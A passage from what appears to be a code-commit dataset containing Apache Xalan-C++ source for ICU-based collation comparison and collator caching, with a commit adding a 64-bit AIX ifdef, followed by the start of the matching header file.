0);\n\n\t\treturn doCompare(*m_defaultCollator, theLHS, theRHS);\n\t}\n}\n\n\n\ninline ICUBridgeCollationCompareFunctorImpl::CollatorType*\ncreateCollator(\n\t\t\tconst XalanDOMChar*\t\ttheLocale,\n\t\t\tUErrorCode&\t\t\t\ttheStatus)\n{\n\tassert(theLocale != 0);\n\n\tconst XalanDOMString::size_type\t\ttheLength = length(theLocale);\n\n\tif (theLength >= ULOC_FULLNAME_CAPACITY)\n\t{\n\t\ttheStatus = U_ILLEGAL_ARGUMENT_ERROR;\n\n\t\treturn 0;\n\t}\n\telse\n\t{\n#if defined(XALAN_NON_ASCII_PLATFORM)\n\t\tCharVectorType\ttheVector;\n\n\t\tTranscodeToLocalCodePage(theLocale, theVector, true);\n\n\t\tconst char* const\ttheBuffer = c_str(theVector);\n#else\n\t\tchar\ttheBuffer[ULOC_FULLNAME_CAPACITY];\n\n\t\t\/\/ Since language names must be ASCII, this\n\t\t\/\/ is the cheapest way to \"transcode\"...\n\t\tfor (unsigned int i = 0; i <= theLength; ++i)\n\t\t{\n\t\t\ttheBuffer[i] = char(theLocale[i]);\n\t\t}\n#endif\n\t\treturn ICUBridgeCollationCompareFunctorImpl::CollatorType::createInstance(\n\t\t\t\t\tLocale::createFromName(theBuffer),\n\t\t\t\t\ttheStatus);\n\t}\n}\n\n\n\nint\nICUBridgeCollationCompareFunctorImpl::doCompare(\n\t\t\tconst XalanDOMChar*\t\ttheLHS,\n\t\t\tconst XalanDOMChar*\t\ttheRHS,\n\t\t\tconst XalanDOMChar*\t\ttheLocale,\n\t\t\teCaseOrder\t\t\t\ttheCaseOrder) const\n{\n\tUErrorCode\ttheStatus = U_ZERO_ERROR;\n\n\tXalanAutoPtr<CollatorType>\ttheCollator(createCollator(theLocale, theStatus));\n\n\tif (U_SUCCESS(theStatus))\n\t{\n\t\tassert(theCollator.get() != 0);\n\n\t\treturn doCompare(\n\t\t\t\t*theCollator.get(),\n\t\t\t\ttheLHS,\n\t\t\t\ttheRHS,\n\t\t\t\ttheCaseOrder);\n\t}\n\telse\n\t{\n\t\treturn s_defaultFunctor(theLHS, theRHS, theCaseOrder);\n\t}\n}\n\n\n\nint\nICUBridgeCollationCompareFunctorImpl::doCompareCached(\n\t\t\tconst XalanDOMChar*\t\ttheLHS,\n\t\t\tconst XalanDOMChar*\t\ttheRHS,\n\t\t\tconst XalanDOMChar*\t\ttheLocale,\n\t\t\teCaseOrder\t\t\t\ttheCaseOrder) const\n{\n\tCollatorType*\ttheCollator = getCachedCollator(theLocale);\n\n\tif (theCollator != 0)\n\t{\n\t\treturn doCompare(*theCollator, theLHS, theRHS, theCaseOrder);\n\t}\n\telse\n\t{\n\t\tUErrorCode\ttheStatus = U_ZERO_ERROR;\n\n\t\tXalanAutoPtr<CollatorType>\ttheCollatorGuard(createCollator(theLocale, theStatus));\n\n\t\tif (U_SUCCESS(theStatus))\n\t\t{\n\t\t\tassert(theCollatorGuard.get() != 0);\n\n\t\t\t\/\/ OK, there was no error, so cache the instance...\n\t\t\tcacheCollator(theCollatorGuard.get(), theLocale);\n\n\t\t\t\/\/ Release the collator, since it's in the cache and\n\t\t\t\/\/ will be controlled by the cache...\n\t\t\ttheCollator = theCollatorGuard.release();\n\n\t\t\treturn doCompare(\n\t\t\t\t\t*theCollator,\n\t\t\t\t\ttheLHS,\n\t\t\t\t\ttheRHS,\n\t\t\t\t\ttheCaseOrder);\n\t\t}\n\t\telse\n\t\t{\n\t\t\treturn s_defaultFunctor(theLHS, theRHS, theCaseOrder);\n\t\t}\n\t}\n}\n\n\n\nint\nICUBridgeCollationCompareFunctorImpl::doCompare(\n\t\t\tCollatorType&\t\t\ttheCollator,\n\t\t\tconst XalanDOMChar*\t\ttheLHS,\n\t\t\tconst XalanDOMChar*\t\ttheRHS,\n\t\t\teCaseOrder\t\t\t\ttheCaseOrder) const\n{\n\tUErrorCode\ttheStatus = U_ZERO_ERROR;\n\n\ttheCollator.setAttribute(\n\t\t\t\tUCOL_CASE_FIRST,\n\t\t\t\tcaseOrderConvert(theCaseOrder),\n\t\t\t\ttheStatus);\n\n#if defined(XALAN_USE_WCHAR_CAST_HACK)\n\treturn theCollator.compare(\n\t\t\t\t\t(const wchar_t*)theLHS,\n\t\t\t\t\tlength(theLHS),\n\t\t\t\t\t(const wchar_t*)theRHS,\n\t\t\t\t\tlength(theRHS));\n#else\n\treturn theCollator.compare(\n\t\t\t\t\ttheLHS,\n\t\t\t\t\tlength(theLHS),\n\t\t\t\t\ttheRHS,\n\t\t\t\t\tlength(theRHS));\n#endif\n}\n\n\n\nint\nICUBridgeCollationCompareFunctorImpl::operator()(\n\t\t\tconst XalanDOMChar*\t\ttheLHS,\n\t\t\tconst XalanDOMChar*\t\ttheRHS,\n\t\t\teCaseOrder\t\t\t\ttheCaseOrder) const\n{\n\tif (theCaseOrder == StylesheetExecutionContext::eDefault)\n\t{\n\t\treturn doDefaultCompare(theLHS, theRHS);\n\t}\n\telse\n\t{\n\t\treturn doCompare(\n\t\t\t\ttheLHS,\n\t\t\t\ttheRHS,\n\t\t\t\tc_wstr(m_defaultCollatorLocaleName),\n\t\t\t\ttheCaseOrder);\n\t}\n}\n\n\n\nint\nICUBridgeCollationCompareFunctorImpl::operator()(\n\t\t\tconst XalanDOMChar*\t\ttheLHS,\n\t\t\tconst XalanDOMChar*\t\ttheRHS,\n\t\t\tconst XalanDOMChar*\t\ttheLocale,\n\t\t\teCaseOrder\t\t\t\ttheCaseOrder) const\n{\n\tif (theCaseOrder == StylesheetExecutionContext::eDefault &&\n\t\tXalanDOMString::equals(m_defaultCollatorLocaleName, theLocale) == true)\n\t{\n\t\treturn doDefaultCompare(theLHS, theRHS);\n\t}\n\telse if (m_cacheCollators == true)\n\t{\n\t\treturn doCompareCached(theLHS, theRHS, theLocale, theCaseOrder);\n\t}\n\telse\n\t{\n\t\treturn doCompare(theLHS, theRHS, theLocale, theCaseOrder);\n\t};\n}\n\n\n\nICUBridgeCollationCompareFunctorImpl::CollatorType*\nICUBridgeCollationCompareFunctorImpl::getCachedCollator(const XalanDOMChar*\t\ttheLocale) const\n{\n#if !defined(XALAN_NO_NAMESPACES)\n\tusing std::find_if;\n#endif\n\n\tCollatorCacheListType&\t\ttheNonConstCache =\n#if defined(XALAN_NO_MUTABLE)\n\t\t(CollatorCacheListType*)m_collatorCache;\n#else\n\t\tm_collatorCache;\n#endif\n\n\tCollatorCacheListType::iterator\ti =\n\t\tfind_if(\n\t\t\ttheNonConstCache.begin(),\n\t\t\ttheNonConstCache.end(),\n\t\t\tCollationCacheStruct::CollatorFindFunctor(theLocale));\n\n\tif (i == theNonConstCache.end())\n\t{\n\t\treturn 0;\n\t}\n\telse\n\t{\n\t\t\/\/ Let's do a quick check to see if we found the first entry.\n\t\t\/\/ If so, we don't have to update the cache, so just return the\n\t\t\/\/ appropriate value...\n\t\tconst CollatorCacheListType::iterator\ttheBegin =\n\t\t\ttheNonConstCache.begin();\n\n\t\tif (i == theBegin)\n\t\t{\n\t\t\treturn (*i).m_collator;\n\t\t}\n\t\telse\n\t\t{\n\t\t\t\/\/ Save the collator, because splice() may invalidate\n\t\t\t\/\/ i.\n\t\t\tCollatorType* const\t\ttheCollator = (*i).m_collator;\n\n\t\t\t\/\/ Move the entry to the beginning the cache\n\t\t\ttheNonConstCache.splice(theBegin, theNonConstCache, i);\n\n\t\t\treturn theCollator;\n\t\t}\n\t}\n}\n\n\n\nvoid\nICUBridgeCollationCompareFunctorImpl::cacheCollator(\n\t\t\tCollatorType*\t\t\ttheCollator,\n\t\t\tconst XalanDOMChar*\t\ttheLocale) const\n{\n\tassert(theCollator != 0);\n\tassert(theLocale != 0);\n\n\tCollatorCacheListType&\t\ttheNonConstCache =\n#if defined(XALAN_NO_MUTABLE)\n\t\t(CollatorCacheListType*)m_collatorCache;\n#else\n\t\tm_collatorCache;\n#endif\n\n\t\/\/ Is the cache full?\n\tif (theNonConstCache.size() == eCacheMax)\n\t{\n\t\t\/\/ Yes, so guard the collator instance, in case pop_back() throws...\n\t\tXalanAutoPtr<CollatorType>\ttheCollatorGuard(theNonConstCache.back().m_collator);\n\n\t\ttheNonConstCache.pop_back();\n\t}\n\n\ttheNonConstCache.push_front(CollatorCacheListType::value_type());\n\n\tCollatorCacheListType::value_type&\t\ttheEntry = \n\t\ttheNonConstCache.front();\n\n\t\/\/ Set the locale first, since that might throw an exception...\n\ttheEntry.m_locale = theLocale;\n\n\ttheEntry.m_collator = theCollator;\n}\n\n\n\nXALAN_CPP_NAMESPACE_END\n<commit_msg>New ifdef for 64-bit AIX 5.1.<commit_after>\/*\n * The Apache Software License, Version 1.1\n *\n *\n * Copyright (c) 2000-2002 The Apache Software Foundation. All rights \n * reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n *\n * 1. Redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer. \n *\n * 2. Redistributions in binary form must reproduce the above copyright\n * notice, this list of conditions and the following disclaimer in\n * the documentation and\/or other materials provided with the\n * distribution.\n *\n * 3. The end-user documentation included with the redistribution,\n * if any, must include the following acknowledgment: \n * \"This product includes software developed by the\n * Apache Software Foundation (http:\/\/www.apache.org\/).\"\n * Alternately, this acknowledgment may appear in the software itself,\n * if and wherever such third-party acknowledgments normally appear.\n *\n * 4. The names \"Xalan\" and \"Apache Software Foundation\" must\n * not be used to endorse or promote products derived from this\n * software without prior written permission. For written \n * permission, please contact apache@apache.org.\n *\n * 5. Products derived from this software may not be called \"Apache\",\n * nor may \"Apache\" appear in their name, without prior written\n * permission of the Apache Software Foundation.\n *\n * THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESSED OR IMPLIED\n * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES\n * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n * DISCLAIMED. IN NO EVENT SHALL THE APACHE SOFTWARE FOUNDATION OR\n * ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF\n * USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\n * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\n * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT\n * OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF\n * SUCH DAMAGE.\n * ====================================================================\n *\n * This software consists of voluntary contributions made by many\n * individuals on behalf of the Apache Software Foundation and was\n * originally based on software copyright (c) 1999, International\n * Business Machines, Inc., http:\/\/www.ibm.com. For more\n * information on the Apache Software Foundation, please see\n * <http:\/\/www.apache.org\/>.\n *\/\n\n#include \"ICUBridgeCollationCompareFunctorImpl.hpp\"\n#include \"ICUBridge.hpp\"\n\n\n\n#include <algorithm>\n#include <cstdlib>\n\n\n\n#include <Include\/XalanAutoPtr.hpp>\n\n\n\n#include <PlatformSupport\/DOMStringHelper.hpp>\n#include <PlatformSupport\/XalanUnicode.hpp>\n\n\n\nXALAN_CPP_NAMESPACE_BEGIN\n\n\n\nconst StylesheetExecutionContextDefault::DefaultCollationCompareFunctor\t\tICUBridgeCollationCompareFunctorImpl::s_defaultFunctor;\n\n\n\ninline ICUBridgeCollationCompareFunctorImpl::CollatorType*\ncreateCollator(\n\t\t\tUErrorCode&\t\t\ttheStatus,\n\t\t\tconst Locale&\t\ttheLocale,\n\t\t\tXalanDOMString*\t\ttheLocaleName = 0)\n{\n\ttypedef ICUBridgeCollationCompareFunctorImpl::CollatorType\tCollatorType;\n\n\tif (theLocaleName != 0)\n\t{\n\t\t*theLocaleName = theLocale.getName();\n\n\t\t\/\/ Replace _ with -, since that's what xml:lang specifies...\n\t\tXalanDOMString::size_type\ttheIndex;\n\n\t\twhile((theIndex = indexOf(*theLocaleName, XalanUnicode::charLowLine)) != theLocaleName->length())\n\t\t{\n\t\t\t(*theLocaleName)[theIndex] = XalanUnicode::charHyphenMinus;\n\t\t}\n\t}\n\n\treturn CollatorType::createInstance(theLocale, theStatus);\n}\n\n\n\ninline ICUBridgeCollationCompareFunctorImpl::CollatorType*\ncreateCollator(\n\t\t\tUErrorCode&\t\t\ttheStatus,\n\t\t\tXalanDOMString*\t\ttheLocaleName = 0)\n{\n\tconst char*\t\ttheLang =\n#if defined(XALAN_STRICT_ANSI_HEADERS)\n\t\t\tstd::getenv(\"LANG\");\n#else\n\t\t\tgetenv(\"LANG\");\n#endif\n\n\tif (theLang == 0)\n\t{\n#if defined(XALAN_ICU_DEFAULT_LOCALE_PROBLEM)\n\t\treturn createCollator(theStatus, Locale::US, theLocaleName);\n#else\n\t\treturn createCollator(theStatus, Locale::getDefault(), theLocaleName);\n#endif\n\t}\n\telse\n\t{\n\t\treturn createCollator(theStatus, Locale(theLang), theLocaleName);\n\t}\n}\n\n\n\nICUBridgeCollationCompareFunctorImpl::ICUBridgeCollationCompareFunctorImpl(bool\t\tfCacheCollators) :\n\tm_isValid(false),\n\tm_defaultCollator(0),\n\tm_defaultCollatorLocaleName(),\n\tm_cacheCollators(fCacheCollators),\n\tm_collatorCache()\n{\n\tUErrorCode\ttheStatus = U_ZERO_ERROR;\n\n\tm_defaultCollator = createCollator(theStatus, &m_defaultCollatorLocaleName);\n\n\tif (U_SUCCESS(theStatus))\n\t{\n\t\tm_isValid = true;\n\t}\n}\n\n\n\nICUBridgeCollationCompareFunctorImpl::~ICUBridgeCollationCompareFunctorImpl()\n{\n#if !defined(XALAN_NO_NAMESPACES)\n\tusing std::for_each;\n#endif\n\n\tdelete m_defaultCollator;\n\n\tfor_each(\n\t\t\tm_collatorCache.begin(),\n\t\t\tm_collatorCache.end(),\n\t\t\tCollationCacheStruct::CollatorDeleteFunctor());\n}\n\n\n\nint\nICUBridgeCollationCompareFunctorImpl::doCompare(\n\t\t\tconst CollatorType&\t\ttheCollator,\n\t\t\tconst XalanDOMChar*\t\ttheLHS,\n\t\t\tconst XalanDOMChar*\t\ttheRHS) const\n{\n#if defined(XALAN_USE_WCHAR_CAST_HACK) && defined(U_WCHAR_IS_UTF16)\n\treturn theCollator.compare(\n\t\t\t\t(const wchar_t*)theLHS,\n\t\t\t\tlength(theLHS),\n\t\t\t\t(const wchar_t*)theRHS,\n\t\t\t\tlength(theRHS));\n#else\n\treturn theCollator.compare(\n\t\t\t\ttheLHS,\n\t\t\t\tlength(theLHS),\n\t\t\t\ttheRHS,\n\t\t\t\tlength(theRHS));\n#endif\n}\n\n\n\ninline UColAttributeValue\ncaseOrderConvert(ICUBridgeCollationCompareFunctorImpl::eCaseOrder\ttheCaseOrder)\n{\n\tswitch(theCaseOrder)\n\t{\n\tcase StylesheetExecutionContext::eLowerFirst:\n\t\treturn UCOL_LOWER_FIRST;\n\t\tbreak;\n\n\tcase StylesheetExecutionContext::eUpperFirst:\n\t\treturn UCOL_UPPER_FIRST;\n\t\tbreak;\n\n\tcase StylesheetExecutionContext::eDefault:\n\t\tbreak;\n\n\tdefault:\n\t\tassert(false);\n\t\tbreak;\n\t}\n\n\treturn UCOL_DEFAULT;\n}\n\n\n\nint\nICUBridgeCollationCompareFunctorImpl::doDefaultCompare(\n\t\t\tconst XalanDOMChar*\t\ttheLHS,\n\t\t\tconst XalanDOMChar*\t\ttheRHS) const\n{\n\tif (isValid() == false)\n\t{\n\t\treturn s_defaultFunctor(theLHS, theRHS, StylesheetExecutionContext::eDefault);\n\t}\n\telse\n\t{\n\t\tassert(m_defaultCollator != 0);\n\n\t\treturn doCompare(*m_defaultCollator, theLHS, theRHS);\n\t}\n}\n\n\n\ninline ICUBridgeCollationCompareFunctorImpl::CollatorType*\ncreateCollator(\n\t\t\tconst XalanDOMChar*\t\ttheLocale,\n\t\t\tUErrorCode&\t\t\t\ttheStatus)\n{\n\tassert(theLocale != 0);\n\n\tconst XalanDOMString::size_type\t\ttheLength = length(theLocale);\n\n\tif (theLength >= ULOC_FULLNAME_CAPACITY)\n\t{\n\t\ttheStatus = U_ILLEGAL_ARGUMENT_ERROR;\n\n\t\treturn 0;\n\t}\n\telse\n\t{\n#if defined(XALAN_NON_ASCII_PLATFORM)\n\t\tCharVectorType\ttheVector;\n\n\t\tTranscodeToLocalCodePage(theLocale, theVector, true);\n\n\t\tconst char* const\ttheBuffer = c_str(theVector);\n#else\n\t\tchar\ttheBuffer[ULOC_FULLNAME_CAPACITY];\n\n\t\t\/\/ Since language names must be ASCII, this\n\t\t\/\/ is the cheapest way to \"transcode\"...\n\t\tfor (unsigned int i = 0; i <= theLength; ++i)\n\t\t{\n\t\t\ttheBuffer[i] = char(theLocale[i]);\n\t\t}\n#endif\n\t\treturn ICUBridgeCollationCompareFunctorImpl::CollatorType::createInstance(\n\t\t\t\t\tLocale::createFromName(theBuffer),\n\t\t\t\t\ttheStatus);\n\t}\n}\n\n\n\nint\nICUBridgeCollationCompareFunctorImpl::doCompare(\n\t\t\tconst XalanDOMChar*\t\ttheLHS,\n\t\t\tconst XalanDOMChar*\t\ttheRHS,\n\t\t\tconst XalanDOMChar*\t\ttheLocale,\n\t\t\teCaseOrder\t\t\t\ttheCaseOrder) const\n{\n\tUErrorCode\ttheStatus = U_ZERO_ERROR;\n\n\tXalanAutoPtr<CollatorType>\ttheCollator(createCollator(theLocale, theStatus));\n\n\tif (U_SUCCESS(theStatus))\n\t{\n\t\tassert(theCollator.get() != 0);\n\n\t\treturn doCompare(\n\t\t\t\t*theCollator.get(),\n\t\t\t\ttheLHS,\n\t\t\t\ttheRHS,\n\t\t\t\ttheCaseOrder);\n\t}\n\telse\n\t{\n\t\treturn s_defaultFunctor(theLHS, theRHS, theCaseOrder);\n\t}\n}\n\n\n\nint\nICUBridgeCollationCompareFunctorImpl::doCompareCached(\n\t\t\tconst XalanDOMChar*\t\ttheLHS,\n\t\t\tconst XalanDOMChar*\t\ttheRHS,\n\t\t\tconst XalanDOMChar*\t\ttheLocale,\n\t\t\teCaseOrder\t\t\t\ttheCaseOrder) const\n{\n\tCollatorType*\ttheCollator = getCachedCollator(theLocale);\n\n\tif (theCollator != 0)\n\t{\n\t\treturn doCompare(*theCollator, theLHS, theRHS, theCaseOrder);\n\t}\n\telse\n\t{\n\t\tUErrorCode\ttheStatus = U_ZERO_ERROR;\n\n\t\tXalanAutoPtr<CollatorType>\ttheCollatorGuard(createCollator(theLocale, theStatus));\n\n\t\tif (U_SUCCESS(theStatus))\n\t\t{\n\t\t\tassert(theCollatorGuard.get() != 0);\n\n\t\t\t\/\/ OK, there was no error, so cache the instance...\n\t\t\tcacheCollator(theCollatorGuard.get(), theLocale);\n\n\t\t\t\/\/ Release the collator, since it's in the cache and\n\t\t\t\/\/ will be controlled by the cache...\n\t\t\ttheCollator = theCollatorGuard.release();\n\n\t\t\treturn doCompare(\n\t\t\t\t\t*theCollator,\n\t\t\t\t\ttheLHS,\n\t\t\t\t\ttheRHS,\n\t\t\t\t\ttheCaseOrder);\n\t\t}\n\t\telse\n\t\t{\n\t\t\treturn s_defaultFunctor(theLHS, theRHS, theCaseOrder);\n\t\t}\n\t}\n}\n\n\n\nint\nICUBridgeCollationCompareFunctorImpl::doCompare(\n\t\t\tCollatorType&\t\t\ttheCollator,\n\t\t\tconst XalanDOMChar*\t\ttheLHS,\n\t\t\tconst XalanDOMChar*\t\ttheRHS,\n\t\t\teCaseOrder\t\t\t\ttheCaseOrder) const\n{\n\tUErrorCode\ttheStatus = U_ZERO_ERROR;\n\n\ttheCollator.setAttribute(\n\t\t\t\tUCOL_CASE_FIRST,\n\t\t\t\tcaseOrderConvert(theCaseOrder),\n\t\t\t\ttheStatus);\n\n#if defined(XALAN_USE_WCHAR_CAST_HACK) && defined(U_WCHAR_IS_UTF16)\n\treturn theCollator.compare(\n\t\t\t\t\t(const wchar_t*)theLHS,\n\t\t\t\t\tlength(theLHS),\n\t\t\t\t\t(const wchar_t*)theRHS,\n\t\t\t\t\tlength(theRHS));\n#else\n\treturn theCollator.compare(\n\t\t\t\t\ttheLHS,\n\t\t\t\t\tlength(theLHS),\n\t\t\t\t\ttheRHS,\n\t\t\t\t\tlength(theRHS));\n#endif\n}\n\n\n\nint\nICUBridgeCollationCompareFunctorImpl::operator()(\n\t\t\tconst XalanDOMChar*\t\ttheLHS,\n\t\t\tconst XalanDOMChar*\t\ttheRHS,\n\t\t\teCaseOrder\t\t\t\ttheCaseOrder) const\n{\n\tif (theCaseOrder == StylesheetExecutionContext::eDefault)\n\t{\n\t\treturn doDefaultCompare(theLHS, theRHS);\n\t}\n\telse\n\t{\n\t\treturn doCompare(\n\t\t\t\ttheLHS,\n\t\t\t\ttheRHS,\n\t\t\t\tc_wstr(m_defaultCollatorLocaleName),\n\t\t\t\ttheCaseOrder);\n\t}\n}\n\n\n\nint\nICUBridgeCollationCompareFunctorImpl::operator()(\n\t\t\tconst XalanDOMChar*\t\ttheLHS,\n\t\t\tconst XalanDOMChar*\t\ttheRHS,\n\t\t\tconst XalanDOMChar*\t\ttheLocale,\n\t\t\teCaseOrder\t\t\t\ttheCaseOrder) const\n{\n\tif (theCaseOrder == StylesheetExecutionContext::eDefault &&\n\t\tXalanDOMString::equals(m_defaultCollatorLocaleName, theLocale) == true)\n\t{\n\t\treturn doDefaultCompare(theLHS, theRHS);\n\t}\n\telse if (m_cacheCollators == true)\n\t{\n\t\treturn doCompareCached(theLHS, theRHS, theLocale, theCaseOrder);\n\t}\n\telse\n\t{\n\t\treturn doCompare(theLHS, theRHS, theLocale, theCaseOrder);\n\t};\n}\n\n\n\nICUBridgeCollationCompareFunctorImpl::CollatorType*\nICUBridgeCollationCompareFunctorImpl::getCachedCollator(const XalanDOMChar*\t\ttheLocale) const\n{\n#if !defined(XALAN_NO_NAMESPACES)\n\tusing std::find_if;\n#endif\n\n\tCollatorCacheListType&\t\ttheNonConstCache =\n#if defined(XALAN_NO_MUTABLE)\n\t\t(CollatorCacheListType*)m_collatorCache;\n#else\n\t\tm_collatorCache;\n#endif\n\n\tCollatorCacheListType::iterator\ti =\n\t\tfind_if(\n\t\t\ttheNonConstCache.begin(),\n\t\t\ttheNonConstCache.end(),\n\t\t\tCollationCacheStruct::CollatorFindFunctor(theLocale));\n\n\tif (i == theNonConstCache.end())\n\t{\n\t\treturn 0;\n\t}\n\telse\n\t{\n\t\t\/\/ Let's do a quick check to see if we found the first entry.\n\t\t\/\/ If so, we don't have to update the cache, so just return the\n\t\t\/\/ appropriate value...\n\t\tconst CollatorCacheListType::iterator\ttheBegin =\n\t\t\ttheNonConstCache.begin();\n\n\t\tif (i == theBegin)\n\t\t{\n\t\t\treturn (*i).m_collator;\n\t\t}\n\t\telse\n\t\t{\n\t\t\t\/\/ Save the collator, because splice() may invalidate\n\t\t\t\/\/ i.\n\t\t\tCollatorType* const\t\ttheCollator = (*i).m_collator;\n\n\t\t\t\/\/ Move the entry to the beginning the cache\n\t\t\ttheNonConstCache.splice(theBegin, theNonConstCache, i);\n\n\t\t\treturn theCollator;\n\t\t}\n\t}\n}\n\n\n\nvoid\nICUBridgeCollationCompareFunctorImpl::cacheCollator(\n\t\t\tCollatorType*\t\t\ttheCollator,\n\t\t\tconst XalanDOMChar*\t\ttheLocale) const\n{\n\tassert(theCollator != 0);\n\tassert(theLocale != 0);\n\n\tCollatorCacheListType&\t\ttheNonConstCache =\n#if defined(XALAN_NO_MUTABLE)\n\t\t(CollatorCacheListType*)m_collatorCache;\n#else\n\t\tm_collatorCache;\n#endif\n\n\t\/\/ Is the cache full?\n\tif (theNonConstCache.size() == eCacheMax)\n\t{\n\t\t\/\/ Yes, so guard the collator instance, in case pop_back() throws...\n\t\tXalanAutoPtr<CollatorType>\ttheCollatorGuard(theNonConstCache.back().m_collator);\n\n\t\ttheNonConstCache.pop_back();\n\t}\n\n\ttheNonConstCache.push_front(CollatorCacheListType::value_type());\n\n\tCollatorCacheListType::value_type&\t\ttheEntry = \n\t\ttheNonConstCache.front();\n\n\t\/\/ Set the locale first, since that might throw an exception...\n\ttheEntry.m_locale = theLocale;\n\n\ttheEntry.m_collator = theCollator;\n}\n\n\n\nXALAN_CPP_NAMESPACE_END\n<|endoftext|>"} {"text":"<commit_before>\/*\n * The Apache Software License, Version 1.1\n *\n *\n * Copyright (c) 2000-2002 The Apache Software Foundation. All rights \n * reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n *\n * 1. Redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer. \n *\n * 2. Redistributions in binary form must reproduce the above copyright\n * notice, this list of conditions and the following disclaimer in\n * the documentation and\/or other materials provided with the\n * distribution.\n *\n * 3. The end-user documentation included with the redistribution,\n * if any, must include the following acknowledgment: \n * \"This product includes software developed by the\n * Apache Software Foundation (http:\/\/www.apache.org\/).\"\n * Alternately, this acknowledgment may appear in the software itself,\n * if and wherever such third-party acknowledgments normally appear.\n *\n * 4. The names \"Xalan\" and \"Apache Software Foundation\" must\n * not be used to endorse or promote products derived from this\n * software without prior written permission. For written \n * permission, please contact apache@apache.org.\n *\n * 5. Products derived from this software may not be called \"Apache\",\n * nor may \"Apache\" appear in their name, without prior written\n * permission of the Apache Software Foundation.\n *\n * THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESSED OR IMPLIED\n * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES\n * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n * DISCLAIMED. IN NO EVENT SHALL THE APACHE SOFTWARE FOUNDATION OR\n * ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF\n * USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\n * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\n * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT\n * OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF\n * SUCH DAMAGE.\n * ====================================================================\n *\n * This software consists of voluntary contributions made by many\n * individuals on behalf of the Apache Software Foundation and was\n * originally based on software copyright (c) 1999, International\n * Business Machines, Inc., http:\/\/www.ibm.com. For more\n * information on the Apache Software Foundation, please see\n * <http:\/\/www.apache.org\/>.\n *\/\n\n#if !defined(ICUBRIDGE_COLLATIONCOMPAREFUNCTORIMPL_GUARD_1357924680)\n#define ICUBRIDGE_COLLATIONCOMPAREFUNCTORIMPL_GUARD_1357924680\n\n\n\n#include <ICUBridge\/ICUBridgeDefinitions.hpp>\n\n\n\n#include <list>\n\n\n\n#include <XSLT\/StylesheetExecutionContextDefault.hpp>\n\n\n\n#include <unicode\/coll.h>\n\n\n\n\nXALAN_CPP_NAMESPACE_BEGIN\n\n\n\nclass XALAN_ICUBRIDGE_EXPORT ICUBridgeCollationCompareFunctorImpl : public StylesheetExecutionContextDefault::CollationCompareFunctor\n{\npublic:\n\n\ttypedef StylesheetExecutionContextDefault::eCaseOrder\teCaseOrder;\n\n\n\t\/**\n\t * Constructor.\n\t * \n\t * @param fCacheCollators If true, the instance will cache collators. This is not thread-safe, so each thread must have its own instance.\n\t *\/\n\tICUBridgeCollationCompareFunctorImpl(bool\tfCacheCollators = false);\n\n\t~ICUBridgeCollationCompareFunctorImpl();\n\n\tint\n\toperator()(\n\t\t\tconst XalanDOMChar*\t\ttheLHS,\n\t\t\tconst XalanDOMChar*\t\ttheRHS,\n\t\t\teCaseOrder\t\t\t\ttheCaseOrder = StylesheetExecutionContextDefault::eDefault) const;\n\n\tint\n\toperator()(\n\t\t\tconst XalanDOMChar*\t\ttheLHS,\n\t\t\tconst XalanDOMChar*\t\ttheRHS,\n\t\t\tconst XalanDOMChar*\t\ttheLocale,\n\t\t\teCaseOrder\t\t\t\ttheCaseOrder = StylesheetExecutionContextDefault::eDefault) const;\n\n\tbool\n\tisValid() const\n\t{\n\t\treturn m_isValid;\n\t}\n\n#if defined(XALAN_HAS_CPP_NAMESPACE)\n\ttypedef U_ICU_NAMESPACE::Collator\tCollatorType;\n#else\n\ttypedef Collator\t\t\t\t\tCollatorType;\n#endif\n\n\tstruct CollationCacheStruct\n\t{\n\t\tCollationCacheStruct(\n\t\t\t\tconst XalanDOMString&\ttheLocale,\n\t\t\t\tCollatorType*\t\t\ttheCollator) :\n\t\t\tm_locale(theLocale),\n\t\t\tm_collator(theCollator)\n\t\t{\n\t\t}\n\n\t\tCollationCacheStruct() :\n\t\t\tm_locale(),\n\t\t\tm_collator(0)\n\t\t{\n\t\t}\n\n\t\tvoid\n\t\tswap(CollationCacheStruct&\ttheOther)\n\t\t{\n\t\t\tm_locale.swap(theOther.m_locale);\n\n\t\t\tCollatorType* const\t\ttheTemp = m_collator;\n\n\t\t\tm_collator = theOther.m_collator;\n\n\t\t\ttheOther.m_collator = theTemp;\n\t\t}\n\n\t\tXalanDOMString\tm_locale;\n\n\t\tCollatorType*\tm_collator;\n\n\t\tstruct CollatorDeleteFunctor\n\t\t{\n\t\t\tvoid\n\t\t\toperator()(CollationCacheStruct&\ttheStruct) const\n\t\t\t{\n\t\t\t\tdelete 